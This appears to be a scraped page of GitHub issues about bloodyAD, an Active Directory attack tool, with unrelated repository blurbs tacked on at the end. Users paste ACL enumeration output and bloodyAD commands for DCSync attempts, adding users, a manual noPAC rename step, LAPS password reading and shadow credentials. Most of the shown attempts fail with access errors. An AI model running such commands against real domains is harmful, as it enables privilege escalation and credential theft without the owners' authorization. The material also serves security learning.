[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
Sid : S-1-5-21-1908570442-2185358661-9027324241-112468
Name : Mydomain\muser
DN : CN=muser,OU=Users,OU=London,OU=Mycompany,DC=Mydomain,DC=int
Class : top, person, organizationalPerson, user
adminCount : True
The first thing that called my attention was this "adminCount: True". Does it means that the user was supposed to be Admin?
A bunch of information about groups that I'm member and finally the end (that looks interesting to me):
Dacl
ObjectSid : S-1-5-21-1908570442-2185358661-9027324241-20452
Name : Mydomain\Exchange Servers
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : DS-Replication-Synchronize
ObjectSid : S-1-1-0
Name : Everyone
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : User-Change-Password
ObjectSid : S-1-5-10
Name : Principal Self
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : User-Change-Password
ObjectSid : S-1-5-10
Name : Principal Self
AceType : ACCESS_ALLOWED_OBJECT_ACE
AccessMask : 304
ADRights : EXTENDED_RIGHTS, WRITE_PROPERTY, READ_PROPERTY
IsInherited : False
ObjectAceType : Private-Information
ObjectSid : S-1-5-21-1908570442-2185358661-9027324241-512
Name : Mydomain\Domain Admins
AceType : ACCESS_ALLOWED_ACE
AccessMask : 917951
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
IsInherited : False
ObjectSid : S-1-5-21-1908570442-2185358661-9027324241-519
Name : Mydomain\Enterprise Admins
AceType : ACCESS_ALLOWED_ACE
AccessMask : 917951
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
IsInherited : False
ObjectSid : S-1-5-32-544
Name : BUILTIN\Administrator
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983487
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
IsInherited False
I got a bit confused here, in this case the ADRights is what I should consider? Or the IsInherited as False means that I dont have this priv?
This AccessMask appears weird to me, I was searching about it and found https://learn.microsoft.com/en-us/windows/win32/secauthz/access-mask
But I cant find a value that represent for example 983487, even converting from decimal to hex (983487) it does not match. Do you know any tool or site that may help to convert it properly?
I did with the great bloodyAD as well.
─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 getObjectAttributes S-1-5-21-1908570442-2185358661-9027324241-112468
{
"accountExpires": “xxxxxxx”,
"adminCount": 1,
"badPasswordTime": "xxxxxxx”",
"badPwdCount": 0,
"cn": "muser",
"codePage": 0,
"company": "Company Name",
"countryCode": 0,
"dSCorePropagationData": [
"xxxxxxx"
],
"department": “Some “User,
"description": [
“Employee”
],
"displayName": “My “Name,
"distinguishedName": "CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int",
"extensionAttribute1": “CompanyName”,
"extensionAttribute10": "xxxxxxx”",
"extensionAttribute11": "xxxxxxx”",
"extensionAttribute12": "xxxxxxx”",
"extensionAttribute13": "xxxxxxx”",
"extensionAttribute14": "xxxxxxx”,
"extensionAttribute3": "xxxxxxx”",
"extensionAttribute4": "xxxxxxx”",
Bunch of stuff not related…
"mS-DS-ConsistencyGuid": {
"encoded": “Base64 data=",
"encoding": "base64"
},
"mail": "gxxxxxxx”",
"mailNickname": "muser",
"manager": "CN=mymanagerName,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int",
"memberOf": [
“A “lot of groups”
],
"msDS-ExternalDirectoryObjectId": "User_ID”,
"msDS-KeyCredentialLink": [
“Long numbers - ID?”
],
"msExchArchiveGUID": {
"encoded": “base”64,
"encoding": "base64"
},
"msExchArchiveName": [
"Personal Archive - xxxxxxx”"
],
Stuff about exchange….
],
"msExchUserAccountControl": 0,
"msExchUserHoldPolicies": [
“Hexa”
],
"msExchVersion": Numbers,
"msExchWhenMailboxCreated": “Date”,
"nTSecurityDescriptor": {
"Owner": "Domain Admins"
},
"name": "muser",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Mydomain,DC=int",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
],
"objectGUID": “{GID}”,
"objectSid": “My”SID,
"pager": "muser",
Other useless data…
I tried set-objectowner and a lot of other combinations, all with the same errors.
This thing of ACE and ACL is a bit obscure to me yet, just to try learn I got another user and this one was very different and a few things called my attention while enumerating objects and privileges...
└─$ acltoolkit mydomain/muser:'Mypass'@192.168.1.31 -debug -scheme ldap get-objectacl
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
Sid : S-1-5-21-1908570442-2185358661-9027324241-110446
Name : Mydomain\muser
DN : CN=muser,OU=Users,OU=London,OU=Mcompany,DC=Mydomain,DC=int
Class : top, person, organizationalPerson, user
adminCount : False
First thing, adminCount is False, which is different from my previous user. However below it gets curious
The DS-Replication-Synchronize does not show up. Normal? Is it expected?
However on the DACL part it says:
ObjectSid : S-1-5-21-1908570442-2185358661-9027324241-512
Name : Mydomain\Domain Admins
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983551
ADRights : GENERIC_ALL
IsInherited : False
It says GENERIC_ALL, and for enterprise admins also GENERIC_ALL and IsInherited true this time (come from a groups that this member belongs I guess).
ObjectSid : S-1-5-21-1908570442-2185358661-9027324241-519
Name : Mydomain\Enterprise Admins
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983551
ADRights : GENERIC_ALL
IsInherited : True
If I try DCsync or for example set GenericAll I get the same error as before, saying INSUFF_ACCESS_RIGHTS...
I tried all kind of stuff, even the ones that are not supposed to work! LOL
└─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 addUser NewUser TestPass123
Traceback (most recent call last):
File "/home/kali/bloodyAD/bloodyAD.py", line 5, in <module>
main.main()
File "/home/kali/bloodyAD/bloodyAD/main.py", line 132, in main
args.func(conn, **params)
File "/home/kali/bloodyAD/bloodyAD/modules.py", line 107, in addUser
ldap_conn.add(user_dn, attributes=attr)
File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1013, in add
response = self.post_send_single_response(self.send('addRequest', request, controls))
File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 160, in post_send_single_response
responses, result = self.get_response(message_id)
File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 403, in get_response
raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPInsufficientAccessRightsResult: LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
- addResponse - None
Sorry for long post
Are you planning to implement reading of LAPS passwords? Or can I read that already using the command "getObjectAttributes"? I tried reading the attribute "ms-mcs-AdmPwd" but either you do not collect that or it is not there since I do not have LAPS enabled.
Hi,
I am trying to exploit the noPAC vulnerabilities in a step-by-step, kind of manual way for understanding purposes as I read thought an AD exploitation course. One step of the exploitation process includes modifying the name of a freshly created computer account. I would think this action is doable with bloodyAD but am struggling to actually perform it.
Here the command I'm using and the ouput I get:
# I can get the sAMAccountName of my newly created computer
$ proxychains bloodyad -u user -p 'pass' -d inlanefreight.local --host 172.16.5.5 get object 'cptr$' --attr sAMAccountName
{
"sAMAccountName": "cptr$"
}
# I am now trying to set it to a new value but can't
$ proxychains bloodyad -u user -p 'pass' -d inlanefreight.local --host 172.16.5.5 set object 'cptr$' sAMAccountName 'dc01'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
usage: bloodyad set [-h] {password} ...
bloodyad set: error: argument {password}: invalid choice: 'object' (choose from 'password')
Shouldn't this normally work ? I am a bit confused by the documentation which has three subsections for "set" actions: set object
, set password
and set owner
. Is set object
an actual command or just a kind of placeholder to refer to the set password
and set owner
?
Thank you very much !
Hi,
Bloodhound 4.1 was released yesterday. With that came three new edges. "AddKeyCredentialLink", "AddSelf" and "WriteSPN". See the slidedeck for more info.
You already support "AddKeyCredentialLink" (shadow credentials) but does your tool work when only the edge "AddKeyCredentialLink" and not "GenericWrite" or "GenericAll" is available? The same goes for "WriteSPN". At least you used to be able to write SPNs.
Will you support the new edges?
The OU parameter is missing and identity only takes a sAMAccountName.
Lines 58 to 66 in 6840882
Hi. Thank you for this tool and all your help!
According to the help output of the command "setShadowCredentials" not only should shadow credentials be written on a target account but those should then also be used to request a certificate. However, it seems no certificate is outputted. Is this part still to be implemented?
Also, which filter can I use with the command "getObjectAttributes" in order to verify that shadow credentials has indeed been removed? Actually, I have the same question related to disabling the flag "DONT_REQ_PREAUTH".
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.